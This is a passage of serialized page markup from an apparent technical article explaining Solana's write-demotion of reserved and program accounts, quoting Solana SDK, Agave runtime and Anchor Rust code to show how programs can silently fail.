runs.",{"type":23,"tag":32,"props":76416,"children":76417},{},[76418,76420,76427],{"type":29,"value":76419},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":23,"tag":68,"props":76421,"children":76424},{"href":76422,"rel":76423},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[72],[76425],{"type":29,"value":76426},"MessageV0",{"type":29,"value":76428},", but legacy is simpler to follow):",{"type":23,"tag":4743,"props":76430,"children":76432},{"className":5009,"code":76431,"language":5008,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[76433],{"type":23,"tag":154,"props":76434,"children":76435},{"__ignoreMap":7},[76436,76444,76468,76556,76577,76589,76605,76621,76669,76698,76752,76788,76796,76833,76845,76883,76895,76902,76909,76916,76923,76931,76991,77044],{"type":23,"tag":504,"props":76437,"children":76438},{"class":5016,"line":5017},[76439],{"type":23,"tag":504,"props":76440,"children":76441},{"style":5021},[76442],{"type":29,"value":76443},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":23,"tag":504,"props":76445,"children":76446},{"class":5016,"line":4868},[76447,76451,76456,76460,76464],{"type":23,"tag":504,"props":76448,"children":76449},{"style":5030},[76450],{"type":29,"value":30248},{"type":23,"tag":504,"props":76452,"children":76453},{"style":5467},[76454],{"type":29,"value":76455}," LegacyMessage",{"type":23,"tag":504,"props":76457,"children":76458},{"style":5058},[76459],{"type":29,"value":24963},{"type":23,"tag":504,"props":76461,"children":76462},{"style":5467},[76463],{"type":29,"value":627},{"type":23,"tag":504,"props":76465,"children":76466},{"style":5058},[76467],{"type":29,"value":9325},{"type":23,"tag":504,"props":76469,"children":76470},{"class":5016,"line":4876},[76471,76475,76479,76483,76487,76491,76495,76500,76504,76509,76513,76518,76522,76526,76531,76535,76539,76543,76547,76552],{"type":23,"tag":504,"props":76472,"children":76473},{"style":5030},[76474],{"type":29,"value":22895},{"type":23,"tag":504,"props":76476,"children":76477},{"style":5030},[76478],{"type":29,"value":15741},{"type":23,"tag":504,"props":76480,"children":76481},{"style":5139},[76482],{"type":29,"value":33988},{"type":23,"tag":504,"props":76484,"children":76485},{"style":5058},[76486],{"type":29,"value":603},{"type":23,"tag":504,"props":76488,"children":76489},{"style":5041},[76490],{"type":29,"value":70100},{"type":23,"tag":504,"props":76492,"children":76493},{"style":5047},[76494],{"type":29,"value":6533},{"type":23,"tag":504,"props":76496,"children":76497},{"style":5058},[76498],{"type":29,"value":76499}," legacy",{"type":23,"tag":504,"props":76501,"children":76502},{"style":5047},[76503],{"type":29,"value":5530},{"type":23,"tag":504,"props":76505,"children":76506},{"style":5467},[76507],{"type":29,"value":76508},"Message",{"type":23,"tag":504,"props":76510,"children":76511},{"style":5058},[76512],{"type":29,"value":4367},{"type":23,"tag":504,"props":76514,"children":76515},{"style":5041},[76516],{"type":29,"value":76517},"reserved_account_keys",{"type":23,"tag":504,"props":76519,"children":76520},{"style":5047},[76521],{"type":29,"value":6533},{"type":23,"tag":504,"props":76523,"children":76524},{"style":5047},[76525],{"type":29,"value":9185},{"type":23,"tag":504,"props":76527,"children":76528},{"style":5467},[76529],{"type":29,"value":76530},"HashSet",{"type":23,"tag":504,"props":76532,"children":76533},{"style":5058},[76534],{"type":29,"value":2658},{"type":23,"tag":504,"props":76536,"children":76537},{"style":5467},[76538],{"type":29,"value":23450},{"type":23,"tag":504,"props":76540,"children":76541},{"style":5058},[76542],{"type":29,"value":22499},{"type":23,"tag":504,"props":76544,"children":76545},{"style":5047},[76546],{"type":29,"value":15803},{"type":23,"tag":504,"props":76548,"children":76549},{"style":5030},[76550],{"type":29,"value":76551}," Self",{"type":23,"tag":504,"props":76553,"children":76554},{"style":5058},[76555],{"type":29,"value":5333},{"type":23,"tag":504,"props":76557,"children":76558},{"class":5016,"line":5099},[76559,76563,76568,76572],{"type":23,"tag":504,"props":76560,"children":76561},{"style":5030},[76562],{"type":29,"value":5105},{"type":23,"tag":504,"props":76564,"children":76565},{"style":5041},[76566],{"type":29,"value":76567}," is_writable_account_cache",{"type":23,"tag":504,"props":76569,"children":76570},{"style":5047},[76571],{"type":29,"value":5050},{"type":23,"tag":504,"props":76573,"children":76574},{"style":5041},[76575],{"type":29,"value":76576}," message\n",{"type":23,"tag":504,"props":76578,"children":76579},{"class":5016,"line":5203},[76580,76584],{"type":23,"tag":504,"props":76581,"children":76582},{"style":5047},[76583],{"type":29,"value":5209},{"type":23,"tag":504,"props":76585,"children":76586},{"style":5058},[76587],{"type":29,"value":76588},"account_keys\n",{"type":23,"tag":504,"props":76590,"children":76591},{"class":5016,"line":5308},[76592,76596,76601],{"type":23,"tag":504,"props":76593,"children":76594},{"style":5047},[76595],{"type":29,"value":5209},{"type":23,"tag":504,"props":76597,"children":76598},{"style":5139},[76599],{"type":29,"value":76600},"iter",{"type":23,"tag":504,"props":76602,"children":76603},{"style":5058},[76604],{"type":29,"value":9780},{"type":23,"tag":504,"props":76606,"children":76607},{"class":5016,"line":5336},[76608,76612,76617],{"type":23,"tag":504,"props":76609,"children":76610},{"style":5047},[76611],{"type":29,"value":5209},{"type":23,"tag":504,"props":76613,"children":76614},{"style":5139},[76615],{"type":29,"value":76616},"enumerate",{"type":23,"tag":504,"props":76618,"children":76619},{"style":5058},[76620],{"type":29,"value":9780},{"type":23,"tag":504,"props":76622,"children":76623},{"class":5016,"line":5349},[76624,76628,76632,76636,76640,76644,76648,76652,76657,76661,76665],{"type":23,"tag":504,"props":76625,"children":76626},{"style":5047},[76627],{"type":29,"value":5209},{"type":23,"tag":504,"props":76629,"children":76630},{"style":5139},[76631],{"type":29,"value":69165},{"type":23,"tag":504,"props":76633,"children":76634},{"style":5058},[76635],{"type":29,"value":603},{"type":23,"tag":504,"props":76637,"children":76638},{"style":5047},[76639],{"type":29,"value":12462},{"type":23,"tag":504,"props":76641,"children":76642},{"style":5058},[76643],{"type":29,"value":603},{"type":23,"tag":504,"props":76645,"children":76646},{"style":5041},[76647],{"type":29,"value":578},{"type":23,"tag":504,"props":76649,"children":76650},{"style":5058},[76651],{"type":29,"value":4367},{"type":23,"tag":504,"props":76653,"children":76654},{"style":5041},[76655],{"type":29,"value":76656},"_key",{"type":23,"tag":504,"props":76658,"children":76659},{"style":5058},[76660],{"type":29,"value":933},{"type":23,"tag":504,"props":76662,"children":76663},{"style":5047},[76664],{"type":29,"value":12462},{"type":23,"tag":504,"props":76666,"children":76667},{"style":5058},[76668],{"type":29,"value":5333},{"type":23,"tag":504,"props":76670,"children":76671},{"class":5016,"line":5367},[76672,76677,76681,76686,76690,76694],{"type":23,"tag":504,"props":76673,"children":76674},{"style":5041},[76675],{"type":29,"value":76676},"                message",{"type":23,"tag":504,"props":76678,"children":76679},{"style":5047},[76680],{"type":29,"value":357},{"type":23,"tag":504,"props":76682,"children":76683},{"style":5139},[76684],{"type":29,"value":76685},"is_writable_index",{"type":23,"tag":504,"props":76687,"children":76688},{"style":5058},[76689],{"type":29,"value":603},{"type":23,"tag":504,"props":76691,"children":76692},{"style":5041},[76693],{"type":29,"value":578},{"type":23,"tag":504,"props":76695,"children":76696},{"style":5058},[76697],{"type":29,"value":5200},{"type":23,"tag":504,"props":76699,"children":76700},{"class":5016,"line":5388},[76701,76706,76710,76714,76718,76723,76727,76731,76735,76739,76744,76748],{"type":23,"tag":504,"props":76702,"children":76703},{"style":5047},[76704],{"type":29,"value":76705},"                    &&",{"type":23,"tag":504,"props":76707,"children":76708},{"style":5047},[76709],{"type":29,"value":14910},{"type":23,"tag":504,"props":76711,"children":76712},{"style":5041},[76713],{"type":29,"value":76517},{"type":23,"tag":504,"props":76715,"children":76716},{"style":5047},[76717],{"type":29,"value":357},{"type":23,"tag":504,"props":76719,"children":76720},{"style":5139},[76721],{"type":29,"value":76722},"contains",{"type":23,"tag":504,"props":76724,"children":76725},{"style":5058},[76726],{"type":29,"value":603},{"type":23,"tag":504,"props":76728,"children":76729},{"style":5047},[76730],{"type":29,"value":5151},{"type":23,"tag":504,"props":76732,"children":76733},{"style":5041},[76734],{"type":29,"value":70100},{"type":23,"tag":504,"props":76736,"children":76737},{"style":5047},[76738],{"type":29,"value":357},{"type":23,"tag":504,"props":76740,"children":76741},{"style":5058},[76742],{"type":29,"value":76743},"account_keys[",{"type":23,"tag":504,"props":76745,"children":76746},{"style":5041},[76747],{"type":29,"value":578},{"type":23,"tag":504,"props":76749,"children":76750},{"style":5058},[76751],{"type":29,"value":57502},{"type":23,"tag":504,"props":76753,"children":76754},{"class":5016,"line":5397},[76755,76759,76763,76767,76771,76776,76780,76784],{"type":23,"tag":504,"props":76756,"children":76757},{"style":5047},[76758],{"type":29,"value":76705},{"type":23,"tag":504,"props":76760,"children":76761},{"style":5047},[76762],{"type":29,"value":14910},{"type":23,"tag":504,"props":76764,"children":76765},{"style":5041},[76766],{"type":29,"value":70100},{"type":23,"tag":504,"props":76768,"children":76769},{"style":5047},[76770],{"type":29,"value":357},{"type":23,"tag":504,"props":76772,"children":76773},{"style":5139},[76774],{"type":29,"value":76775},"demote_program_id",{"type":23,"tag":504,"props":76777,"children":76778},{"style":5058},[76779],{"type":29,"value":603},{"type":23,"tag":504,"props":76781,"children":76782},{"style":5041},[76783],{"type":29,"value":578},{"type":23,"tag":504,"props":76785,"children":76786},{"style":5058},[76787],{"type":29,"value":5200},{"type":23,"tag":504,"props":76789,"children":76790},{"class":5016,"line":5649},[76791],{"type":23,"tag":504,"props":76792,"children":76793},{"style":5058},[76794],{"type":29,"value":76795},"            })\n",{"type":23,"tag":504,"props":76797,"children":76798},{"class":5016,"line":5666},[76799,76803,76808,76812,76816,76820,76824,76828],{"type":23,"tag":504,"props":76800,"children":76801},{"style":5047},[76802],{"type":29,"value":5209},{"type":23,"tag":504,"props":76804,"children":76805},{"style":5139},[76806],{"type":29,"value":76807},"collect",{"type":23,"tag":504,"props":76809,"children":76810},{"style":5047},[76811],{"type":29,"value":5530},{"type":23,"tag":504,"props":76813,"children":76814},{"style":5058},[76815],{"type":29,"value":2658},{"type":23,"tag":504,"props":76817,"children":76818},{"style":5467},[76819],{"type":29,"value":19259},{"type":23,"tag":504,"props":76821,"children":76822},{"style":5058},[76823],{"type":29,"value":2658},{"type":23,"tag":504,"props":76825,"children":76826},{"style":5041},[76827],{"type":29,"value":627},{"type":23,"tag":504,"props":76829,"children":76830},{"style":5058},[76831],{"type":29,"value":76832},">>();\n",{"type":23,"tag":504,"props":76834,"children":76835},{"class":5016,"line":5683},[76836,76841],{"type":23,"tag":504,"props":76837,"children":76838},{"style":5030},[76839],{"type":29,"value":76840},"        Self",{"type":23,"tag":504,"props":76842,"children":76843},{"style":5058},[76844],{"type":29,"value":5333},{"type":23,"tag":504,"props":76846,"children":76847},{"class":5016,"line":5696},[76848,76853,76857,76862,76866,76871,76875,76879],{"type":23,"tag":504,"props":76849,"children":76850},{"style":5041},[76851],{"type":29,"value":76852},"            message",{"type":23,"tag":504,"props":76854,"children":76855},{"style":5047},[76856],{"type":29,"value":6533},{"type":23,"tag":504,"props":76858,"children":76859},{"style":5467},[76860],{"type":29,"value":76861}," Cow",{"type":23,"tag":504,"props":76863,"children":76864},{"style":5047},[76865],{"type":29,"value":5530},{"type":23,"tag":504,"props":76867,"children":76868},{"style":5139},[76869],{"type":29,"value":76870},"Owned",{"type":23,"tag":504,"props":76872,"children":76873},{"style":5058},[76874],{"type":29,"value":603},{"type":23,"tag":504,"props":76876,"children":76877},{"style":5041},[76878],{"type":29,"value":70100},{"type":23,"tag":504,"props":76880,"children":76881},{"style":5058},[76882],{"type":29,"value":8780},{"type":23,"tag":504,"props":76884,"children":76885},{"class":5016,"line":5705},[76886,76891],{"type":23,"tag":504,"props":76887,"children":76888},{"style":5041},[76889],{"type":29,"value":76890},"            is_writable_account_cache",{"type":23,"tag":504,"props":76892,"children":76893},{"style":5058},[76894],{"type":29,"value":5557},{"type":23,"tag":504,"props":76896,"children":76897},{"class":5016,"line":5728},[76898],{"type":23,"tag":504,"props":76899,"children":76900},{"style":5058},[76901],{"type":29,"value":5394},{"type":23,"tag":504,"props":76903,"children":76904},{"class":5016,"line":5737},[76905],{"type":23,"tag":504,"props":76906,"children":76907},{"style":5058},[76908],{"type":29,"value":5403},{"type":23,"tag":504,"props":76910,"children":76911},{"class":5016,"line":5746},[76912],{"type":23,"tag":504,"props":76913,"children":76914},{"style":5058},[76915],{"type":29,"value":5965},{"type":23,"tag":504,"props":76917,"children":76918},{"class":5016,"line":5813},[76919],{"type":23,"tag":504,"props":76920,"children":76921},{"emptyLinePlaceholder":15},[76922],{"type":29,"value":5734},{"type":23,"tag":504,"props":76924,"children":76925},{"class":5016,"line":5821},[76926],{"type":23,"tag":504,"props":76927,"children":76928},{"style":5021},[76929],{"type":29,"value":76930},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":23,"tag":504,"props":76932,"children":76933},{"class":5016,"line":5851},[76934,76938,76942,76947,76951,76955,76959,76963,76967,76971,76975,76979,76983,76987],{"type":23,"tag":504,"props":76935,"children":76936},{"style":5030},[76937],{"type":29,"value":15736},{"type":23,"tag":504,"props":76939,"children":76940},{"style":5030},[76941],{"type":29,"value":15741},{"type":23,"tag":504,"props":76943,"children":76944},{"style":5139},[76945],{"type":29,"value":76946}," demote_program_id",{"type":23,"tag":504,"props":76948,"children":76949},{"style":5058},[76950],{"type":29,"value":603},{"type":23,"tag":504,"props":76952,"children":76953},{"style":5047},[76954],{"type":29,"value":5151},{"type":23,"tag":504,"props":76956,"children":76957},{"style":5030},[76958],{"type":29,"value":15759},{"type":23,"tag":504,"props":76960,"children":76961},{"style":5058},[76962],{"type":29,"value":4367},{"type":23,"tag":504,"props":76964,"children":76965},{"style":5041},[76966],{"type":29,"value":578},{"type":23,"tag":504,"props":76968,"children":76969},{"style":5047},[76970],{"type":29,"value":6533},{"type":23,"tag":504,"props":76972,"children":76973},{"style":5467},[76974],{"type":29,"value":15777},{"type":23,"tag":504,"props":76976,"children":76977},{"style":5058},[76978],{"type":29,"value":5128},{"type":23,"tag":504,"props":76980,"children":76981},{"style":5047},[76982],{"type":29,"value":15803},{"type":23,"tag":504,"props":76984,"children":76985},{"style":5467},[76986],{"type":29,"value":14096},{"type":23,"tag":504,"props":76988,"children":76989},{"style":5058},[76990],{"type":29,"value":5333},{"type":23,"tag":504,"props":76992,"children":76993},{"class":5016,"line":5859},[76994,76998,77002,77007,77011,77015,77019,77023,77027,77031,77035,77040],{"type":23,"tag":504,"props":76995,"children":76996},{"style":5030},[76997],{"type":29,"value":22838},{"type":23,"tag":504,"props":76999,"children":77000},{"style":5047},[77001],{"type":29,"value":357},{"type":23,"tag":504,"props":77003,"children":77004},{"style":5139},[77005],{"type":29,"value":77006},"is_key_called_as_program",{"type":23,"tag":504,"props":77008,"children":77009},{"style":5058},[77010],{"type":29,"value":603},{"type":23,"tag":504,"props":77012,"children":77013},{"style":5041},[77014],{"type":29,"value":578},{"type":23,"tag":504,"props":77016,"children":77017},{"style":5058},[77018],{"type":29,"value":5128},{"type":23,"tag":504,"props":77020,"children":77021},{"style":5047},[77022],{"type":29,"value":75260},{"type":23,"tag":504,"props":77024,"children":77025},{"style":5047},[77026],{"type":29,"value":14910},{"type":23,"tag":504,"props":77028,"children":77029},{"style":5030},[77030],{"type":29,"value":15759},{"type":23,"tag":504,"props":77032,"children":77033},{"style":5047},[77034],{"type":29,"value":357},{"type":23,"tag":504,"props":77036,"children":77037},{"style":5139},[77038],{"type":29,"value":77039},"is_upgradeable_loader_present",{"type":23,"tag":504,"props":77041,"children":77042},{"style":5058},[77043],{"type":29,"value":9780},{"type":23,"tag":504,"props":77045,"children":77046},{"class":5016,"line":5891},[77047],{"type":23,"tag":504,"props":77048,"children":77049},{"style":5058},[77050],{"type":29,"value":5965},{"type":23,"tag":32,"props":77052,"children":77053},{},[77054],{"type":29,"value":77055},"As you can see, there are two main causes of write-demotion:",{"type":23,"tag":139,"props":77057,"children":77058},{},[77059,77071],{"type":23,"tag":143,"props":77060,"children":77061},{},[77062,77064],{"type":29,"value":77063},"The account appears in the ",{"type":23,"tag":68,"props":77065,"children":77068},{"href":77066,"rel":77067},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[72],[77069],{"type":29,"value":77070},"reserved account list",{"type":23,"tag":143,"props":77072,"children":77073},{},[77074],{"type":29,"value":77075},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":23,"tag":32,"props":77077,"children":77078},{},[77079],{"type":29,"value":77080},"The second case is generally covered by the executable check implemented previously.",{"type":23,"tag":32,"props":77082,"children":77083},{},[77084],{"type":29,"value":77085},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":23,"tag":20944,"props":77087,"children":77089},{"id":77088},"the-reserved-account-list",[77090],{"type":29,"value":77091},"The Reserved Account List",{"type":23,"tag":32,"props":77093,"children":77094},{},[77095,77097,77102],{"type":29,"value":77096},"The Solana runtime maintains a ",{"type":23,"tag":68,"props":77098,"children":77100},{"href":77066,"rel":77099},[72],[77101],{"type":29,"value":77070},{"type":29,"value":77103},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":23,"tag":32,"props":77105,"children":77106},{},[77107,77109,77116,77118,77123],{"type":29,"value":77108},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":23,"tag":68,"props":77110,"children":77113},{"href":77111,"rel":77112},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[72],[77114],{"type":29,"value":77115},"feature gate is actived",{"type":29,"value":77117},", the runtime will ",{"type":23,"tag":38,"props":77119,"children":77120},{},[77121],{"type":29,"value":77122},"automatically demote them to read-only",{"type":29,"value":77124},", even if the transaction marked them as writable.",{"type":23,"tag":4743,"props":77126,"children":77128},{"className":5009,"code":77127,"language":5008,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[77129],{"type":23,"tag":154,"props":77130,"children":77131},{"__ignoreMap":7},[77132,77140,77148,77172,77226,77264,77293],{"type":23,"tag":504,"props":77133,"children":77134},{"class":5016,"line":5017},[77135],{"type":23,"tag":504,"props":77136,"children":77137},{"style":5021},[77138],{"type":29,"value":77139},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":23,"tag":504,"props":77141,"children":77142},{"class":5016,"line":4868},[77143],{"type":23,"tag":504,"props":77144,"children":77145},{"style":5021},[77146],{"type":29,"value":77147},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":23,"tag":504,"props":77149,"children":77150},{"class":5016,"line":4876},[77151,77155,77159,77164,77168],{"type":23,"tag":504,"props":77152,"children":77153},{"style":5030},[77154],{"type":29,"value":15759},{"type":23,"tag":504,"props":77156,"children":77157},{"style":5047},[77158],{"type":29,"value":357},{"type":23,"tag":504,"props":77160,"children":77161},{"style":5058},[77162],{"type":29,"value":77163},"reserved_account_keys ",{"type":23,"tag":504,"props":77165,"children":77166},{"style":5047},[77167],{"type":29,"value":546},{"type":23,"tag":504,"props":77169,"children":77170},{"style":5058},[77171],{"type":29,"value":5333},{"type":23,"tag":504,"props":77173,"children":77174},{"class":5016,"line":5099},[77175,77179,77183,77188,77192,77197,77201,77205,77209,77213,77217,77221],{"type":23,"tag":504,"props":77176,"children":77177},{"style":5030},[77178],{"type":29,"value":5033},{"type":23,"tag":504,"props":77180,"children":77181},{"style":5030},[77182],{"type":29,"value":5038},{"type":23,"tag":504,"props":77184,"children":77185},{"style":5041},[77186],{"type":29,"value":77187}," reserved_keys",{"type":23,"tag":504,"props":77189,"children":77190},{"style":5047},[77191],{"type":29,"value":5050},{"type":23,"tag":504,"props":77193,"children":77194},{"style":5467},[77195],{"type":29,"value":77196}," ReservedAccountKeys",{"type":23,"tag":504,"props":77198,"children":77199},{"style":5047},[77200],{"type":29,"value":5530},{"type":23,"tag":504,"props":77202,"children":77203},{"style":5139},[77204],{"type":29,"value":17466},{"type":23,"tag":504,"props":77206,"children":77207},{"style":5058},[77208],{"type":29,"value":603},{"type":23,"tag":504,"props":77210,"children":77211},{"style":5047},[77212],{"type":29,"value":5151},{"type":23,"tag":504,"props":77214,"children":77215},{"style":5030},[77216],{"type":29,"value":15759},{"type":23,"tag":504,"props":77218,"children":77219},{"style":5047},[77220],{"type":29,"value":357},{"type":23,"tag":504,"props":77222,"children":77223},{"style":5058},[77224],{"type":29,"value":77225},"reserved_account_keys);\n",{"type":23,"tag":504,"props":77227,"children":77228},{"class":5016,"line":5203},[77229,77234,77238,77243,77247,77251,77255,77259],{"type":23,"tag":504,"props":77230,"children":77231},{"style":5041},[77232],{"type":29,"value":77233},"    reserved_keys",{"type":23,"tag":504,"props":77235,"children":77236},{"style":5047},[77237],{"type":29,"value":357},{"type":23,"tag":504,"props":77239,"children":77240},{"style":5139},[77241],{"type":29,"value":77242},"update_active_set",{"type":23,"tag":504,"props":77244,"children":77245},{"style":5058},[77246],{"type":29,"value":603},{"type":23,"tag":504,"props":77248,"children":77249},{"style":5047},[77250],{"type":29,"value":5151},{"type":23,"tag":504,"props":77252,"children":77253},{"style":5030},[77254],{"type":29,"value":15759},{"type":23,"tag":504,"props":77256,"children":77257},{"style":5047},[77258],{"type":29,"value":357},{"type":23,"tag":504,"props":77260,"children":77261},{"style":5058},[77262],{"type":29,"value":77263},"feature_set);\n",{"type":23,"tag":504,"props":77265,"children":77266},{"class":5016,"line":5308},[77267,77272,77276,77280,77284,77289],{"type":23,"tag":504,"props":77268,"children":77269},{"style":5467},[77270],{"type":29,"value":77271},"    Arc",{"type":23,"tag":504,"props":77273,"children":77274},{"style":5047},[77275],{"type":29,"value":5530},{"type":23,"tag":504,"props":77277,"children":77278},{"style":5139},[77279],{"type":29,"value":17169},{"type":23,"tag":504,"props":77281,"children":77282},{"style":5058},[77283],{"type":29,"value":603},{"type":23,"tag":504,"props":77285,"children":77286},{"style":5041},[77287],{"type":29,"value":77288},"reserved_keys",{"type":23,"tag":504,"props":77290,"children":77291},{"style":5058},[77292],{"type":29,"value":5200},{"type":23,"tag":504,"props":77294,"children":77295},{"class":5016,"line":5336},[77296],{"type":23,"tag":504,"props":77297,"children":77298},{"style":5058},[77299],{"type":29,"value":18625},{"type":23,"tag":20944,"props":77301,"children":77303},{"id":77302},"consequences-silent-failures-and-bricked-programs",[77304],{"type":29,"value":77305},"Consequences: Silent Failures and Bricked Programs",{"type":23,"tag":32,"props":77307,"children":77308},{},[77309],{"type":29,"value":77310},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":23,"tag":4743,"props":77312,"children":77314},{"className":5009,"code":77313,"language":5008,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[77315],{"type":23,"tag":154,"props":77316,"children":77317},{"__ignoreMap":7},[77318,77333,77360,77375,77414,77421,77468,77499,77506,77521,77552,77559,77574,77605],{"type":23,"tag":504,"props":77319,"children":77320},{"class":5016,"line":5017},[77321,77325,77329],{"type":23,"tag":504,"props":77322,"children":77323},{"style":5058},[77324],{"type":29,"value":24878},{"type":23,"tag":504,"props":77326,"children":77327},{"style":5467},[77328],{"type":29,"value":24883},{"type":23,"tag":504,"props":77330,"children":77331},{"style":5058},[77332],{"type":29,"value":22311},{"type":23,"tag":504,"props":77334,"children":77335},{"class":5016,"line":4868},[77336,77340,77344,77348,77352,77356],{"type":23,"tag":504,"props":77337,"children":77338},{"style":5030},[77339],{"type":29,"value":15736},{"type":23,"tag":504,"props":77341,"children":77342},{"style":5030},[77343],{"type":29,"value":23203},{"type":23,"tag":504,"props":77345,"children":77346},{"style":5467},[77347],{"type":29,"value":73373},{"type":23,"tag":504,"props":77349,"children":77350},{"style":5058},[77351],{"type":29,"value":24963},{"type":23,"tag":504,"props":77353,"children":77354},{"style":5467},[77355],{"type":29,"value":24968},{"type":23,"tag":504,"props":77357,"children":77358},{"style":5058},[77359],{"type":29,"value":9325},{"type":23,"tag":504,"props":77361,"children":77362},{"class":5016,"line":4876},[77363,77367,77371],{"type":23,"tag":504,"props":77364,"children":77365},{"style":5058},[77366],{"type":29,"value":25170},{"type":23,"tag":504,"props":77368,"children":77369},{"style":5030},[77370],{"type":29,"value":5783},{"type":23,"tag":504,"props":77372,"children":77373},{"style":5058},[77374],{"type":29,"value":22311},{"type":23,"tag":504,"props":77376,"children":77377},{"class":5016,"line":5099},[77378,77382,77386,77390,77394,77398,77402,77406,77410],{"type":23,"tag":504,"props":77379,"children":77380},{"style":5030},[77381],{"type":29,"value":22895},{"type":23,"tag":504,"props":77383,"children":77384},{"style":5041},[77385],{"type":29,"value":73412},{"type":23,"tag":504,"props":77387,"children":77388},{"style":5047},[77389],{"type":29,"value":6533},{"type":23,"tag":504,"props":77391,"children":77392},{"style":5467},[77393],{"type":29,"value":25135},{"type":23,"tag":504,"props":77395,"children":77396},{"style":5058},[77397],{"type":29,"value":24963},{"type":23,"tag":504,"props":77399,"children":77400},{"style":5467},[77401],{"type":29,"value":24968},{"type":23,"tag":504,"props":77403,"children":77404},{"style":5058},[77405],{"type":29,"value":4367},{"type":23,"tag":504,"props":77407,"children":77408},{"style":5467},[77409],{"type":29,"value":73437},{"type":23,"tag":504,"props":77411,"children":77412},{"style":5058},[77413],{"type":29,"value":8183},{"type":23,"tag":504,"props":77415,"children":77416},{"class":5016,"line":5203},[77417],{"type":23,"tag":504,"props":77418,"children":77419},{"emptyLinePlaceholder":15},[77420],{"type":29,"value":5734},{"type":23,"tag":504,"props":77422,"children":77423},{"class":5016,"line":5308},[77424,77428,77432,77436,77440,77444,77448,77452,77456,77460,77464],{"type":23,"tag":504,"props":77425,"children":77426},{"style":5058},[77427],{"type":29,"value":25170},{"type":23,"tag":504,"props":77429,"children":77430},{"style":5030},[77431],{"type":29,"value":5783},{"type":23,"tag":504,"props":77433,"children":77434},{"style":5058},[77435],{"type":29,"value":73472},{"type":23,"tag":504,"props":77437,"children":77438},{"style":5047},[77439],{"type":29,"value":546},{"type":23,"tag":504,"props":77441,"children":77442},{"style":5058},[77443],{"type":29,"value":73481},{"type":23,"tag":504,"props":77445,"children":77446},{"style":5047},[77447],{"type":29,"value":357},{"type":23,"tag":504,"props":77449,"children":77450},{"style":5058},[77451],{"type":29,"value":73490},{"type":23,"tag":504,"props":77453,"children":77454},{"style":5047},[77455],{"type":29,"value":1224},{"type":23,"tag":504,"props":77457,"children":77458},{"style":5058},[77459],{"type":29,"value":73412},{"type":23,"tag":504,"props":77461,"children":77462},{"style":5047},[77463],{"type":29,"value":357},{"type":23,"tag":504,"props":77465,"children":77466},{"style":5058},[77467],{"type":29,"value":73507},{"type":23,"tag":504,"props":77469,"children":77470},{"class":5016,"line":5336},[77471,77475,77479,77483,77487,77491,77495],{"type":23,"tag":504,"props":77472,"children":77473},{"style":5030},[77474],{"type":29,"value":22895},{"type":23,"tag":504,"props":77476,"children":77477},{"style":5041},[77478],{"type":29,"value":73481},{"type":23,"tag":504,"props":77480,"children":77481},{"style":5047},[77482],{"type":29,"value":6533},{"type":23,"tag":504,"props":77484,"children":77485},{"style":5467},[77486],{"type":29,"value":27451},{"type":23,"tag":504,"props":77488,"children":77489},{"style":5058},[77490],{"type":29,"value":24963},{"type":23,"tag":504,"props":77492,"children":77493},{"style":5467},[77494],{"type":29,"value":24968},{"type":23,"tag":504,"props":77496,"children":77497},{"style":5058},[77498],{"type":29,"value":8183},{"type":23,"tag":504,"props":77500,"children":77501},{"class":5016,"line":5349},[77502],{"type":23,"tag":504,"props":77503,"children":77504},{"emptyLinePlaceholder":15},[77505],{"type":29,"value":5734},{"type":23,"tag":504,"props":77507,"children":77508},{"class":5016,"line":5367},[77509,77513,77517],{"type":23,"tag":504,"props":77510,"children":77511},{"style":5058},[77512],{"type":29,"value":25170},{"type":23,"tag":504,"props":77514,"children":77515},{"style":5030},[77516],{"type":29,"value":5783},{"type":23,"tag":504,"props":77518,"children":77519},{"style":5058},[77520],{"type":29,"value":22311},{"type":23,"tag":504,"props":77522,"children":77523},{"class":5016,"line":5388},[77524,77528,